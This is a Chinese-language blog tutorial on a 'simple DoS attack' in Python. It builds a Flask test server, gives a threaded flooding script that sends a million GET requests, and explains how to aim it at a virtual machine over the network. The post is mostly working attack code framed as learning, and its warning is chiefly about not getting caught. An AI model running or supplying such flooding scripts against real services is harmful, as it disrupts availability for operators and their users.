首页 > Python资料 博客日记

python-简单的dos攻击

2024-10-01 15:00:05Python资料围观28

这篇文章介绍了python-简单的dos攻击,分享给大家做个参考,收藏Python资料网收获更多编程知识

前言

这个是DOS攻击学习(注意:千万别去攻击有商业价值的服务器或应用,不然会死的很惨(只有一个IP通过公网访问容易被抓),前提是网站没有攻击防御)

创建一个以python编写的后端web服务(好观察)

安装flask

pip install flask 
from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
    return 'hello world'

if __name__ == '__main__':
    app.run(debug=True)

python编写DOS攻击服务

pip install requests
import requests
from requests.exceptions import RequestException
import threading

def requestGetOne():
    try:
        response = requests.get('http://127.0.0.1:5000', timeout=5)
        response.raise_for_status()  # 检查响应状态码
        print(response.text)
    except RequestException as e:
        print(f'请求出错: {e}')

def print_numbers():
    for i in range(1000):
        requestGetOne()

if __name__ == "__main__":
    threads = []
    for i in range(1000):  # 创建1000个线程
        thread = threading.Thread(target=print_numbers)
        threads.append(thread)
        thread.start()

    # 等待所有线程结束
    for thread in threads:
        thread.join()

    print("All threads have finished.")

访问稍微会变慢(因为是本机的访问基本没构成TCP连接访问服务+电脑会变卡,CPU占有率是100%)

这只是在本地端进行的DOS,若是有应用程序在VMWare虚拟机上

  1. 需要开启桥接模式物理网络连接状态

    这样你的ifconfig才会是

    eth0才会有固定IP
  2. 我们要在本地计算机ping一下这个IP地址(本机&虚拟机–在同一个网关下)
#ping ip
ping 172.23.233.164


说明俩者之间有连接
3. 在不同IP中需要进行访问那必然要经历跨域访问(前后端分离也是如此),一般在后端进行跨域访问,但为了学习的方便我们都会让它所有都能访问,后端web就要改成

from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
    return 'hello world'

if __name__ == '__main__':
    app.run('0.0.0.0',port=5000)

版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!

标签:

相关文章

本站推荐